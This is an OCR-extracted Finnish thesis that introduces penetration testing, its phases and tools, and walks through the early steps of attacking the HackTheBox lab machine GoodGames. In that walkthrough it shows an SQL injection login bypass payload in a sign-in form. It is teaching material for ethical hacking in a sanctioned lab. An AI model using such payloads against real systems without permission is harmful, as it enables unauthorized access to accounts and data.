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1 Johdanto

Taman opinndytetyon tavoitteena on toimia johdatuksena penetraatiotestaukseen, sen
menetelmiin, tyokaluihin. Kdytdannon osuudessa simuloidaan hydkkays kohdekoneeseen ja
esitellaan penetraatiotestauksen menetelmia ja tyokaluja kaytannossa. Osuus sisaltdaa myos
yksinkertaisen web-applikaation penetraatiotestauksen. Opinnadytety6 soveltuu henkildille,
jotka haluavat oppia penetraatiotestauksesta, joilla on tietoa tai kdytannon kokemusta

tietoverkoista, web-applikaatioista ja Linux-komentorivin kdaytosta.

Yhteiskunnan digitalisaation my6ta, tarve tietoturvan kehittamiselle on kasvanut suuresti
viimeisten vuosien aikana. Penetraatiotestaus on olennainen osa tietoturvan arviointia ja
kehitysprosessia. Se on prosessi, jossa pyritdan tunnistamaan tietojarjestelmien tai
sovellusten mahdolliset haavoittuvuudet hyokkaajan nakékulmasta. Tama
testausmenetelma simuloi todellisia hyokkayksia jarjestelmaan ja auttaa tunnistamaan

tietoturvariskit ennen kuin ne voivat aiheuttaa vahinkoa.

2 Penetraatiotestaus

Penetraatiotestauksessa on kyse simuloidusta kyberhyokkayksessa, jonka tarkoituksena on
tarkistaa ja paikantaa potentiaaliset haavoittuvuudet tietoturvassa, ennen kuin haitalliset
toimijat kuten hakkerit kykenevat hyodyntamaan niita (Harrington, 2022).
Penetraatiotestaaja tunnetaan usein myds nimikkeella eettinen hakkeri, joka tulee heidan
tehtavastaan hakkeroida eli arvioida erilaisten jarjestelmien, tietokoneiden, tietoverkkojen
tietoturvaa etsimalla ja hyodyntamalla naista |oytyvia haavoittuvuuksia (Crowley & Wiley,

2021, s. 1).

Luvatta hakkerointi, on aina laitonta. Taman vuoksi ennen penetraatiotestauksen
aloittamista, on ehdottoman tarkeda saada kirjallinen suostumus sen suorittamiseen. On
tarkeaa luoda penetraatiotestauksen toimeksiannosta mahdollisimman tarkka sopimus,
jossa maaritellddn penetraatiotestauksen laajuus ja sallitut toimenpiteet. (Crowley & Wiley,

2021,s.5)



2.1 Termit

Useat termit viittaavat penetraatiotestaajiin seka haitallisiin hakkereihin, tdman vuoksi

hakkerit on selkeyden vuoksi jaettu kolmeen eri kategoriaan:

1. Valkohattuhakkerit, ndihin lukeutuu penetraatiotestaajat seka eettiset hakkerit.
Heilla on lupa ja laillinen oikeus suorittaa hakkerointia.

2. Harmaahattuhakkerit, heiddn tarkoitusperansa eivat valttamatta ole haitalliset,
esimerkiksi vaikka tarkoituksena on auttaa, mutta hakkerointi tehdaan ilmaan lupaa.

3. Mustahattuhakkerit, heidan toimintansa ja tarkoitusperat ovat laittomia. Rikolliset

kuuluvat tahan kategoriaan.

Mustahattuhakkereille on my&s muita termej3, joista tietoturvassa kuullaan usein
puhuttavan, kuten uhkatekija, kyberrikollinen ja mustahattu eli mustahattuhakkeri. Ndiden
lisdaksi on olemassa haktivistit, jotka kayttavat hakkerointitaitojaan, jonkin asian tai aatteen
puolesta, kuten ihmisoikeuksien tai ympariston puolesta. Ndama ovat myos
kyberhyokkayksia, vaikkakin motivaation lahteena olisi yhteisenhyvan puolesta hakkerointi.

(Crowley & Wiley, 2021, s. 2)

2.2 Penetraatiotestauksen tyypit

Penetraatiotestausta suorittaessa, penetraatiotestaajille luovutetaan tietoa testattavista eli
hakkeroitavista kohteista. Kohteesta saadun tiedon maara riippuu hyvin paljon, minka
tyyppinen penetraatiotestaus toimeksianto on kyseessa. Nama penetraatiotestaustyypit on

jaettu kolmeen kategoriaan:

1. Musta laatikko: Kohteesta saatu tieto on hyvin rajallista. Useimmiten
penetraatiotestaajalle annetaan vain IP-osoite tai lista IP-osoitteista tai joissakin
tapauksissa penetraatiotestaajalle annetaan vain yrityksen nimi. Naista kolmesta
metodista, tama metodi jaljittelee parhaiten uhkatekijan tai mustahattu hakkerin

toimintaa.



2. Valkoinen laatikko: Kohteesta saatu tieto on runsasta ja hyvin yksityiskohtaista. Tieto
voi sisaltaa esimerkiksi kayttdjatunnuksia eri kayttooikeustasoista. Tarkoituksena voi
olla selvittaa, etta niin kutsuttu peruskayttdja ei kykene paasemaan yllapitajille
tarkoitettuihin resursseihin.

3. Harmaa laatikko: Yksi yleisimmista penetraatiotestaus tyypeista, joissa
penetraatiotestaaja saa enemman tietoa kuin mustan laatikon
penetraatiotestauksessa mutta vihemman kuin valkoisen laatikon

penetraatiotestauksessa ja tiedon maara voi vaihdella hyvin paljon.

Penetraatiotestaus tyyppia valittaessa, nousee kdytettavissa oleva aika usein maarittavaksi
tekijaksi. Valkoisen laatikon penetraatiotestaus vaatii yleensa vahemman aikaa, kun
kohteesta on jo valmiiksi hyvin paljon tietoa ja vastaavasti mustan laatikon
penetraatiotestaus vaatii enemman tiedustelua, joka on jo itsessadn hyvin aikaa vaativaa.

(Crowley & Wiley, 2021, ss. 6-8)

2.3 Penetraatiotestauksen vaiheet

The Penetration Testing Execution -standardi (PTES) sisdltaa seitseman
penetraatiotestauksen padosiota, missa kdydaan lapi kaikki penetraatiotestauksessa
vaadittavat vaiheet. Standardi sisaltaa seuraavat seitseman osaa: Esiselvitys vaiheessa on
toisin sanoen suunnitteluvaihe, jossa asiakkaan kanssa maaritelldan penetraatiotestauksen
laajuus, hinta, aloitus ja lopetusaika seka ajat, jolloin penetraatiotestausta saa suorittaa.
Tassa vaiheessa on myos tarkea kayda lapi penetraatiotestauksentavoitteita ja sopia
testauksen periaatteet ja saannot, eli miten penetraatiotestaus on luvallista suorittaa.

(Crowley & Wiley, 2021, s. 7)

Tiedonhakuvaiheessa kohteesta etsitdan tietoa ja haavoittuvuuksia, joita voidaan hyodyntaa
hyokkayksessa. Hyodyllisid tietoja maarittelemaan onko kohde altis tietyille hyokkayksille ja
haavoittuvuuksille ovat esimerkiksi kayttojarjestelman versio- ja sovellus versiotiedot.
Penetraatiotestaus tyypin mukaan voi etsittava tieto olla myos yksittaisista henkilGista tai

yrityksista. (Crowley & Wiley, 2021, s. 7)



Uhkamallinnusvaiheessa on kyseessa prosessi, jossa mahdolliset uhat, kuten sovellus ja
kayttojarjestelma haavoittuvuudet, voidaan tunnistaa, luetteloida ja priorisoida hydkkaajan
nakokulmasta. Taman tarkoituksena on luoda systemaattinen analyysi hyokkaajan profiilista,
tunnistaa todennakdisimmat hyokkaysvektorit ja mielenkiintoisimmat kohteet hydkkaajan

nakokulmasta. (Crowley & Wiley, 2021, s .7)

Haavoittuvuusanalyysin tarkoituksena on l6ytaa puutteet jarjestelmista ja sovelluksista, joita
hyokkaaja kykenisi hyddyntamaan. Tyokaluja kuten portti- ja haavoittuvuus skannereita
kaytetaan haavoittuvuuksien etsimisessa. Haavoittuvuuksien I6ydyttya varmennetaan, etta
haavoittuvuudet ovat todellisia eivatka vaaria positiivisia. Varmennuksen jalkeen ne
analysoidaan ja selvitetaan, onko niita mahdollista hyodyntaa. Kaikki haavoittuvuudet, eivat
ole hyddynnettavissa, mutta ne taytyy myos raportoida ja haavoittuvuudet, jotka eivat
penetraatiotestauksen aikana hyodynnettavissa, voivat olla myéhemmin hyédynnettavissa,

mikali hyokkdysmenetelma kehitetdaan. (Crowley & Wiley, 2021, ss. 7-8)

Hyokkaysvaihe keskittyy hakkeroimaan eli hyokkdaamaan jarjestelmiin, joista loytyi
haavoittuvuuksia penetraatiotestauksen haavoittuvuusanalyysivaiheessa. Se mita
penetraatiotestaaja voi tehda tdssa vaiheessa, riippuu padasiassa siitd mitd asiakkaan kanssa
on sovittu esiselvitysvaiheessa. Tama vaihe voi sisdltda haavoittuvuusskannerin kayton,
hyokkadykset web-applikaatiota vasten, fyysistd penetraatiotestausta eli missa yritetdan
tunkeutua rakennuksiin, joihin ulkopuolisilla ei ole paasya tai sosiaalista manipulointia, missa
pyritdan harhauttamaan ihmisia tavoitteen saavuttamiseksi tai muita hyokkayksia mita

kyberrikolliset voisivat yrittda. (Crowley & Wiley, 2021, s. 8)

Jalkihyokkdysvaiheessa paaasiallinen tarkoitus on selvittaa kohdejarjestelman arvo ja
sailyttda hallinta myohempaa kayttoa varten. Jarjestelman arvo voidaan maarittaa
jarjestelmadssa sailytettavan datan sensitiivisyyden ja hyddyllisyyden perusteella, kun

jatketaan hyokkayksia muita jarjestelmia kohden. (Crowley & Wiley, 2021, s. 8)

Raportointivaiheessa dokumentoidaan ja raportoidaan penetraatiotestauksen tulokset.
Penetraatiotestaus raportin tulisi sisaltaa tiivistelma, missa tulokset esitelldan selkeasti ja

tavalla, ettd myos ei-tekniset henkilot ymmartavat ne. Raportin tulisi sisaltaa



haavoittuvuudet, hyviksikdytetyt jarjestelmat ja yksityiskohtaiset selitykset ja todisteet
miten haavoittuvuuksia ja jarjestelmia on hyvaksikaytetty. Todisteet voivat olla esimerkiksi

kuvakaappauksia. (Crowley & Wiley, 2021, s. 8)

3 Tyokalut ja sovellukset

Penetraatiotestaukseen on kehitetty useita satoja tyokaluja ja sovelluksia, jotka sopivat eri
kayttotarkoituksiin. Seuraavan osuuden tarkoituksena on tarjota tietoa opinnaytetyon

kdaytannon osuudessa kaytettavista tyokaluista ja sovelluksista.

3.1 Virtualbox

Oracle VM Virtualbox on jarjestelmariippumaton virtualisointi sovellus. Virtualisoinnin
suurimpia hyotyja on, etta voit ajaa useita eri kayttdjarjestelmia samaan aikaan. VirtualBox
tekee myos erilaiset testaamiset ja kokeilut helpoksi, silld sovelluksesta |6ytyy ominaisuus
snapshot, mika mahdollistaa kayttojarjestelman nykyisen tilan tallentamisen, mihin voit

milloin tahansa kayttdjarjestelmasi tilan palauttaa. (Oracle, 2022)

3.2 Kali Linux

Kali Linux, tunnettiin aiemmin nimelld BackTrack Linux, on maksuton avoimen ldhdekoodin
Debian-pohjainen Linux jakelupaketti, joka on suunnattu kaytettavaksi
penetraatiotestauksessa ja tietoturva-auditoinnissa. Se sisdltaa yli 600 tyokalua, jotka on
suunniteltu kaytettavaksi erilaisissa tietoturvatehtavissa, kuten penetraatiotestauksessa,
tietoturvatutkimuksessa, takaisinmallintamisessa, haavoittuvuuden hallinnassa ja

digitaalisessa tutkinnassa. (Offsec Services Limited, 2022)

3.3 Nmap

Nmap ("Network Mapper”) on avoimen lahdekoodin tydkalu verkkojen tutkimiseen ja
tietoturvatarkastuksiin. Se on suunniteltu nopeasti skannaamaan suuria verkkoja, mutta se

toimii myo6s hyvin yksittdisia tietokoneita ja palvelimia vastaan. Nmap kayttaa raakoja IP-



paketteja maarittadkseen, mitka tietokoneet ovat kdytettavissa verkossa, mitd palveluita ne
tarjoavat jopa sovellus ja versio tarkkuudella, mita kayttojarjestelmia ja niiden versioita ne
kayttavat, mitd pakettifilttereitd ja palomuureja on kaytossa ja paljon muita tietoja ja
yksityiskohtia. Nmap toimii kaikilla yleisimmilla kayttojarjestelmilla ja se on kaytettavissa

komentorivilla seka graafisen kayttoliittyman avulla. (Lyon, 2023, s. 1)

Kuvassa 1 esitellaan skannauksen tuloksia. Nmap tulostaa listan skannatuista kohteista seka

lisatiedoista, riippuen mita hakuoptioita kayttdja on valinnut kdytettavaksi.

Kuva 1. Nmap tulokset optioilla -O -v. (Lyon, 2023)

04 2011)

(Good luck!)

Yleisimmin kiinnostavimpiin tietoihin kuuluu taulukko porteista ja niiden tilasta. Taulukko 1
esittelee erilaiset optiot, joilla voidaan muokata tydkalun toimintaa ja tuloksien tulostamista.
Taulukosta voi ndhda portin numeron ja niiden tilan. Tilana voi olla joko open, filtered,
closed tai unfiltered. Open eli avoin tarkoittaa kohteessa olevan sovelluksen kuuntelevan
kyseisen portin yhteyksia tai paketteja ja closed eli suljetussa ei ole sovellusta kuuntelemassa

porttia. Filtered eli suodatettu, tarkoittaa joko palomuurin tai jonkin muun suodattimen tai



tietoverkossa olevan esteen blokkaavan kyseisen portin, jolloin Nmap ei kykene
maarittdamaan portin tilaa. Unfiltered eli suodattamaton kertoo kayttajalle, etta portti reagoi
Nmapin tiedusteluun, mutta Nmap ei pysty maarittamaan portin tilaa. Tilana voi myos olla
yhdistelma, kuten open |[filtered tai closed |filtered, jolloin Nmap ei kykene valitsemaan

tilojen vililta. (Lyon, 2008, 373)

Taulukko 1. Nmap skannauksen optiot. (Lyon, 2008, 12,13,84)

Valinta Selite

-p 22 Skannaan yksittdinen portti, tassa
tapauksessa portti 22.

-p 22,25 Skannaa useampi portti, portit pilkulla
eroteltuna.
-p- Skannaa kaikki portit
-sV Mahdollistaa palveluiden ja version

tunnistamisen

-A Kehittynyt ja aggressiivinen skannaus,
mahdollistaa esimerkiksi kdyttojarjestelma
ja palveluiden skannauksen.

-sC Skriptiskannaus

-Pn Disabloi ping



-0A Tallenna tulokset normaalilla, XML ja
grepable formaateilla

-T4 Saada skannauksen nopeutta ja ajoitusta.

Erittdin hitaasta (-T0) Adrimmaéisen
aggressiiviseen (-T5). Esimerkissa
aggressiivinen (-T4)

3.4 Feroxbuster

Feroxbuster on tyokalu, joka on suunniteltu suorittamaan pakotettua selailua. Kyseessa on
hyokkays, jonka tarkoituksena on listata ja tuoda esille resursseja, jotka eivat normaalisti ole
nakyvissa web-applikaatiossa, mutta ovat kuitenkin hyokkaajan saavutettavissa. Feroxbuster
vhdistaa vasytyshyokkayksen ja sanalistojen kayton hakeakseen linkkaamattomia sisaltoja
kohteen hakemistosta. Nama resurssit voivat sisaltda arkaluontoista sisaltoa esimerkiksi
web-applikaatiosta, kayttojarjestelmatietoja, lahdekoodia ja kaikkea muuta, jota sivuston
tekija ei ole tarkoittanut jaettavaksi. Tama hyokkays tunnetaan englanniksi myés nimella
Forced browsing, predictable resource location, file enumeration, directory enumeration ja
resource enumeration. Taulukko 2 esittelee erilaiset optiot, joilla voidaan muokata tydkalun

toimintaa ja kuinka tulokset tulostetaan. (Risher, 2023)

Taulukko 2. Feroxbuster optiot (Risher, 2023).

Valinta Selite

-h, --help Tulosta apu informaatiota



-u, --url

-w, --wordlist

-0, --output

3.5 Sqlmap

Kohde URL

Polku sanalistaan. Jatettdessa pois,
feroxbuster kayttaa oletus sanalistaa.

Antaa monisanaisemman kuvauksen
tuloksista.

Maarittele polku tiedostolle, johon tulokset
tallennetaan

Sqlmap on avoimen ldhdekoodin penetraatiotestaus tyokalu, joka automatisoi SQL injektio

haavoittuvuuksien havaitsemisen ja hydédyntamisen seka tietokantapalvelimien haltuunoton.

Se sisaltaa tehokkaan tunnistusmoottorin, monia erikoisominaisuuksia

penetraatiotestaukseen ja laajan valikoiman kytkimia tietokannan sormenjalkien

ottamisesta, tietojen hakemisesta tietokannasta, paasyyn taustalla olevaan

tiedostojarjestelmaan ja komentojen suorittamiseen kayttojarjestelmassa kaistan

ulkopuolisten yhteyksien kautta. Taulukossa 3 esitetaan erilaisia optioita, joilla voidaan

muokata tyokalun toimintaa. (Damele & Stampar, n.d. -a)

Taulukko 3. Sglmap optiot (Damele & Stampar, n.d. -b).

Valinta

Selite

-h, --help

Nayta apuvalikon vaihtoehdot
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-r <KREQUESTFILE> Lataa http pyynnon tiedostosta

-D <DB> Valitaan DMBS, joka halutaan luetteloida

Valitaan DBMS taulukko/taulukot, jotka

-T <TBL>
T<TBL halutaan luetteloida

--dbs Luetteloi DBMS tietokannat

3.6 Docker

Docker on avoimen lahdekoodin ohjelmistoalusta, joka mahdollistaa sovellusten
pakkaamisen ja toimittamisen konttien avulla. Kontit ovat kevyita, itsenaisia
suoritusymparist6ja, jotka sisaltavat kaiken tarvittavan sovelluksen suorittamiseen, kuten
koodin, riippuvuudet ja asetukset. Dockerin avulla sovelluskehittdjan voivat eristaa
sovelluksen ympariston ja riippuvuudet muusta jarjestelmasta, mika auttaa valttamaan
yvhteensopivuusongelmia ja varmistamaan, etta sovellus toimii samalla tavalla kaikilla
ymparistoilla. Lisaksi Docker mahdollistaa sovellusten nopean ja helposti toistettavan
toimittamisen, koska kontit ovat helposti siirrettavia ja skaalattavia. Docker on yksi
suosituimmista konttiteknologioista ja sitd kdytetdaan laajasti nykyaikaisessa

ohjelmistokehityksessa. (Docker Inc, n.d. -a)

3.7 HackTheBox-sivusto

Hack The Box lyhyesti HTB on verkossa toimiva alusta, joka tarjoaa kayttajille

mahdollisuuden harjoitella tietoturvaan liittyvia taitoja interaktiivisten haasteiden ja
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virtuaalikoneiden kautta. Yksi HTB:n keskeisista ominaisuuksista on retired machines
suomeksi elakoityneet koneet, joka tarjoaa kayttajille paasyn aikaisemmin ratkaistavaksi
annettuihin virtuaalikoneisiin. Elakoityneet koneet ovat simuloidun ympariston
virtuaalikoneita, jotka on suunniteltu jaljittelemaan oikeiden jarjestelmien
tietoturvaongelmia. Ndiden koneiden avulla kayttdjat voivat harjoitella ja kehittaa
tietoturvaan liittyvia taitojaan, kuten haavoittuvuuksien tunnistamista, hyédyntamista ja
jarjestelman kompromisointia. Kayttadjat voivat kayttaa erilaisia tyokaluja ja menetelmia

haasteiden ratkaisemiseksi ja edistya taitojensa kehittamisessa. (Gordon, 2023)

HTB tarjoaa monipuolisen valikoiman haasteita ja koneita, joita kdyttdjat voivat kayttaa
harjoittelussa. Tama sisaltaa erilaisia taitoja, kuten verkkojen tutkimista, kryptografian
purkamista, hakkerointitekniikoita ja tietokantojen hydkkayksia. HTB:n avulla kayttajat
voivat kehittda ja testata taitojaan reaalimaailman skenaarioissa, edistaa
tietoturvatietamystaan ja valmistautua vastaamaan todellisiin tietoturvahaasteisiin.

(Gordon, 2023)

4 Web-applikaation penetraatiotestaus

Web-sovelluksen penetraatiotestaus on prosessi, jossa simuloidaan hyokkayksia
tunnistamaan mahdolliset haavoittuvuudet web-sovelluksissa. Sen tarkoituksena on
paljastaa ja lieventaa tietoturvauhkia parantamalla sovelluksen yleista tietoturvatasoa ennen
kuin ne ovat todellisten hyokkaajien hyédynnettavissa. Web-sovelluksen penetraatiotestaus
on olennainen osa web-sovelluksen tietoturvan arviointia. Tassa lista muutamista yleisista

tavoitteista mitd web-sovellusten penetraatiotestauksella voi olla:

Tunnistaa tietoturva-aukot web-sovelluksissa.
Varmistaa olemassa olevien tietoturvasaantojen ja -kontrollien tehokkuus.

Varmistaa standardien noudattaminen, kuten PCI DSS ja HIPAA.

P w N e

Tarkistaa julkisesti altistettujen komponenttien, kuten palomuurien, kokoonpano ja

vahvuus. (Tagade, 2023)
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Web-sovelluksen penetraatiotestauksen prosessi sisdltda usein haavoittuvuus skannerin
kayton, jolla tunnistetaan turvallisuusaukot, kuten virheelliset konfiguraatiot,
paivittdmattomat ohjelmistot, haavoittuvuuksia kuten cross-site scripting ja server-side
template injektio. Sen jalkeen manuaaliset penetraatiotestaajat kayvat jarjestelmassa
vahvistaakseen skannerin |6ytamat haavoittuvuudet ja etsidkseen monimutkaisempia
haavoittuvuuksia, kuten liiketoimintalogiikan virheita ja maksuportin virheita. Kun testaus ja
hyodyntaminen on suoritettu, penetraatiotestaajat laativat raportin, joka sisaltaa tiedot
suoritetuista testeista, |6ydetyista haavoittuvuuksista, niiden vakavuustasosta ja
mahdollisista ratkaisuista. Voit hyodyntdaa oman organisaatiosi tietoturvatydryhmaa tai etsia
web-sovelluksen penetraatiotestauspalveluja. Web-sovelluksen penetraatiotestauksessa
kaytettavia tyokaluja ovat muun muassa Astra Security Scan, Acunetix, HackerOne, Burp

Suite, selaimen kehittajatyokalut, NMap, Zenmap, ReconDog ja Nikto. (Tagade, 2023)

5 Haavoittuvuudet

Tassa luvussa esitelldan kdaytannon osuudessa l6ydetyt haavoittuvuudet.

5.1 Server-side template injektio (SSTI)

Server-side template injektio eli SSTI on haavoittuvuus, joka liittyy web-sovellusten
kayttamaan lomaketekniikkaan. Lomaketekniikkaan kdytetdaan usein sivujen dynaamiseen
generointiin ja se mahdollistaa sivujen rakenteen ja ulkoasun erottamisen toisistaan. SSTI-
haavoittuvuus voi syntya, kun web-sovellus hyvaksyy kayttdjan syottaman sisallon, joka
sisaltdad lomakekoodia. Jos tata sisadltoa ei kasitella asianmukaisesti, hyokkaaja voi injektoida
omaa koodiaan sivun lomakkeeseen, joka ajetaan palvelimen puolella. Tama voi
mahdollistaa hyokkadjalle padsyn palvelimen tietoihin tai mahdollisuuden suorittaa

haitallisia toimintoja palvelimella. (Kettle, 2019)

SSTI-haavoittuvuuksia on [6ydetty useissa ohjelmointikielissa, kuten Pythonissa, Rubylla ja
Javalla, ja niita esiintyy usein kaytetyissa web-sovelluskehyksissa, kuten Flask ja Django.
Naiden haavoittuvuuksien hyvaksikaytto voi johtaa vakaviin tietoturvaongelmiin, kuten

tietovuotoihin tai palvelimen kaatumisiin. SSTI-hyokkaysten torjumiseksi suositellaan
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kaytettdvaksi tietoturvallisia kirjastoja ja kdyttdjan syottaman sisallon tarkistamista ja
puhdistamista. Tarkeaa on myds ymmartaa, miten lomakekoodi kasitellaan palvelimella,
jotta voidaan estda hyokkaajan injektoidun koodin suorittaminen. SSTI on yksi monista
tietoturvaongelmista, joihin web-sovellukset voivat altistua. Siksi on tarkeaa, etta web-
sovellusten kehittdjat ymmartavat haavoittuvuuksien syntyyn liittyvat tekijat ja toteuttavat

asianmukaiset turvallisuustoimenpiteet niiden valttamiseksi. (Kettle, 2019)

5.2 SAQLlinjektio

SQL-injektio on yksi yleisimmista haavoittuvuuksista ja se on ollut listattuna OWASP Top 10 -
listalla jo useiden vuosien ajan, vuonna 2021 se oli sijalla 1. Kyseessa on hyodkkays, jossa
hyokkaaja yrittaa injektoida haitallista SQL-koodia tietokantakyselyyn, jolloin tietokanta
suorittaa koodin ajamisen ja palauttaa mahdollisesti arkaluontoista tietoa hyokkaajalle. SQL-
injektio hyokkayksen mahdollistaa usein sovelluksenheikko tietojen validointi ja
suojaamaton kayttajan syotteiden kaytto tietokantaoperaatioissa. Hyokkaaja voi kayttaa
erilaisia tekniikoita hyokkayksen toteuttamiseksi, kuten lomakkeen kenttiin sy6ttamista
haitallista koodia tai URL-parametreihin syottamista. Kun tietokanta suorittaa SQL-kyselyn,
se kayttaa myos hyokkadjan syottamia arvoja, jolloin hyokkaajalla voi manipuloida

tietokannan toimintaa ja saada sen suorittamaan haitallisia toimintoja. (OWASP, n.d)

SQL-injektiohyokkayksen vaikutukset voivat olla vakavia. Hyokkaaja voi esimerkiksi saada
paasyn tietokantaan ja varastaa arkaluontoista tietoa, muuttaa tai poistaa tietoja, suorittaa
haittaohjelmia tietokannassa tai jopa saada hallinnollisen paasyn sovellukseen. Siksi SQL-
injektion torjuminen on kriittisen tarkeaa tietoturvan kannalta. Taman hyokkayksen
estamiseksi kehittdjien tulisi validoida ja suojata kadyttdjan syotteet, kuten lomakkeisiin ja
URL-parametreihin syotetyt tiedot. Tama voidaan toteuttaa kdyttamalla parametrisoituja
kyselyja tallentamalla kayttajan syotteet tietokantaan turvallisella tavalla ja kdyttamalla

asianmukaisia tietokantavalvontamekanismeja. (OWASP, n.d)
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5.3 Container escape

Container escape tarkoittaa hyokkaysta, jossa hyokkadja onnistuu murtautumaan kontin
ulkopuolelle, esimerkiksi Docker kontin, yleensa isantdkoneelle. Taman myoéta hyokkaaja voi
lilkkua lateraalisesti toisiin kontteihin isdantakoneelta, tai suorittaa muita toimintoja
isdantakoneessa itsessaan, mika voi aiheuttaa merkittavaa vahinkoa. Talla tavoin hydkkaaja
kykenee laajentamaan hyokkayspinta-alaansa ja auttaa hyokkaajaa loytamaan muita
haavoittuvuuksia, mita hyodyntamalla hyékkaaja voi lopulta nostaa oikeuksiaan Root-

kayttajan tasolle. (Cybereason Team, 2022)

6 Kaytannon penetraatiotestaus

Kaytanndnosuus sisaltaa kaytannon esimerkit penetraatiotestauksen vaiheista, ilman
teoriaosuudessa esiteltyja esiselvitys ja raportointivaihetta. Kdytannénosuudessa on
tarkoitus havainnollistaa lukijalle penetraatiotestauksessa tehtavaa ongelmanratkaisua
erilaisten paatelmien, havaintojen ja kuvakaappauksien avulla. Lukijalla odotetaan olevan
perustiedot Linux-kayttojarjestelmasta, tietoverkoista ja web-applikaatioista, jonka vuoksi
kaikkia eri vaiheissa kaytavia aiheita ei esitella tai kdayda lapi. Kdytannon osuus paattyy
kayttajan saadessaan Root-kayttdjan oikeudet. Root-kayttdjalla on kdytannossa rajaton
paasy kaikkiin jarjestelman tietoihin, ohjelmiin, tiedostoihin ja resursseihin (IBM corporation,

24.3.2023).

Kohteena on HBT-sivuston virtuaalikone nimelta GoodGames. Kohteen on luonut kayttaja
nimeltd TheCyberGeek. Kayttajaarvioiden mukaan kohde on vaikeustasoa helppo, joten se

sisaltaa useita julkisia haavoittuvuuksia, joiden odotetaan olevan helposti paikannettavissa.

6.1 Tiedonhaku

Talla hetkelld kohteesta on tiedossa ainoastaan IP-osoite, joten hyva tapa aloittaa
penetraatiotestaus on suorittaa porttiskannaus nmap-tyokalulla. Kuvasta 2 on nahtavissa,
kuinka tulokset osoittavat, ettd ainoastaan portti 80 (HTTP) on auki ja http-protokollan

vastauksen otsikkokentta viittaa Python-versioon 3.9.2.
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Kuva 2. Kohteen porttiskannaus nmap tyokalulla

Avaamalla selaimen ja vierailemalla kyseisessa IP-osoitteessa ja avautuu videopeleihin

keskittyva sivusto nimeltd GoodGames, kuten kuvasta 3 voi nahda.

Kuva 3. Kohteen isannoiva web-sivusto
Exploit-DB

BLOG STORE

Wi,

HE MADE HIS PASSENGER
CAPTAIN OF ONE

L2

Kuva 4 voi nahda sivuston lahdekoodin, sita tutkimalla 16ytyy alatunnisteet verkkotunniste

GoodGames.HTB.
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Kuva 4. Kuvakaappaus kohteen |dhdekoodista

- START:

<footer class="nk-footer"=

<div class="nk-copyright">

<div class="container">
<div class="nk-copyright-left">
<a target="_blank">GoodGames .HTB</a>

Lisaamalla verkkotunnuksen host tiedostoon, jarjestelma kykenee ratkaisemaan I6ydetyn
verkkotunnuksen nimen ja ohjaamaan halutulle resurssille (Whang, 2019). Web-
sovelluksesta saadaan lisaa tietoa kayttamalla Feroxbuster tyokalua. Kuvassa 5 ndhdaan
Feroxbusterin tulokset. Kuva 5 esittelee tulokset ja niista on nahtavissa muutamia

mielenkiintoisia polkuja mm. liittyen kayttajatiliin ja sen luomiseen.

Kuva 5. Feroxbuster tyékalun tulokset

Osoitteesta goodgames.htb/signup ja aukeaa sivu, joka tarjoaa lomakkeen

sisdankirjautumiseen seka uuden kayttdjan luomiseen. Web-sivuston lomake esitelldan

kuvassa 6.
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Kuva 6. Web-sovelluksen kirjautumislomake

& COODCAMES

HOME > SIGNUP >

SIGNUP

REGISTRATION FORM ALREADY HAVE AN ACCOUNT?

Use the form below to log into your account.

SIGN UP

Hyoédyntamalla hyvin tavanomaista SQL injektiota lomakkeen sahképosti kentassa, joka on
nadhtavissa kuvassa 7, voimme testata onko web-sivusto haavoittuva SQL injektiolle

(Administrator, 2012).

Kuva 7. SQL injektion testaaminen kirjautumislomaketta vasten

ALREADY HAVE AN ACCOUNT?

Use the form below to log into your account.

admin'or1=1-- o00000989

Kuvassa 8 ndhda kuinka sivusto tervehtii onnistuneen sisadnkirjautumisen jalkeen tekstilla

"welcome admin”. Tasta voi paatella sivuston olevan haavoittuva SQL injektiolle.
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Kuva 8. Kuvakaappaus nakymadsta onnistuneen SQL injektion jalkeen

00D AMES

GAME PORTAL TEMPLATE

WELCOME ADMIN

RETURN TO HOMEPAGE

Kirjautuminen ohjaa profiilisivulle. On tarkeaa laittaa merkille kaikki mielenkiintoinen tieto,
kuten kayttajan sahkopostiosoite admin@goodgames.htb ja tutkia sivu perusteellisesti
hyodyllisen tiedon varalta. Sivulta 16ytyy ylakulmasta rattaan kuva. Klikkaamalla sitd, ohjaa
sivusto aliverkkotunnukselle nimelta internal-administration.goodgames.htb. Lisaamalla
myo6s tama aliverkkotunnus host tiedostoon, varmistetaan etta selain kykenee ohjaamaan
meidat oikealle resurssille. Kuva 9 esittelee, mita hosts tiedostoon on lisatty tahan

mennessa.

Kuva 9. Linux kayttojarjestelman /etc/hosts tiedoston sisalto

Sivulta paljastuu Flask Volt kirjautumisikkuna ja nopean tiedonhaun perusteella paljastuu,

ettd web-sovellus on kirjoitettu Pythonilla (Themesberg, n.d). Kirjautumisikkuna on
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nahtavissa kuvassa 10. Sivusto voi olla hyddyllinen myohemmasséa vaiheessa, jonka vuoksi se

on myos tarkea kirjata muistiin, myohempaa testausta varten.

Kuva 10. Flask Volt kirjautumisikkuna

Open-source Flask Dashboard

q Flask Volt - Sign IN =

3 \ - /
=) Add your credentials

< s J Username a

h O  Username -

Your Password

&  Password

Remember me
1
4

6.2 Burp Suite tyokalun kdayttaminen

Tassa vaiheessa on tarkeaa jatkaa SQL injektio haavoittuvuuden testaamista, silla web-
sovelluksesta voi paljastua lisda tarkeaa tietoa mika auttaa penetraatiotestauksen
suorittamisessa. Hyodyntamalla Burp Suite tydkalua, on mahdollista kaapata web-pyynto,
joka sisdltaa loydetyn admin@goodgames.htb sahkopostiosoitteen. Tama onnistuu
avaamalla Burp Suite tydkalussa valilehti Proxy ja valitsemalla ”intercept is on”, kuten

kuvassa 11 naytetaan.
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Kuva 11. Burp suite tyokalun proxy viélilehti

4 Bu
Burp Project Intruder Repeater Window Help

Dashbogrd Target m Intruder Repeater Sequencer Decoder Comparer Logger Extensions Learn

Intercep; HTTP history WebSockets history {8} Proxy settings

Intercept is on Action Open browser

Mikali selainta ei ole maaritetty yhteensopivaksi Burp Suite tyokalun kanssa, on mahdollista
kayttaa tyokalun omaa selainta, Klikkaamalla “Open Browser”. Kun tyokalu on maaritelty
kaappaamaan web-pyynt6, syottamalla kirjautumislomakkeen kayttajanimi kohtaan
aiemmin mainitun SQL injektion ja salasanaksi mita tahansa tekstia ja kirjautumalla sisaan,
on web-pyynto kaapattu onnistuneesti. Kuvassa 12 naytetdan kaapattu web-pyynto6 tyokalun

proxy valilehdella.

Kuva 12. Kaapattu web-pyynto burp suite tyokalussa

f Request to http://10.10.11.130:80
Forward Drop Action Open browser

Raw Hex

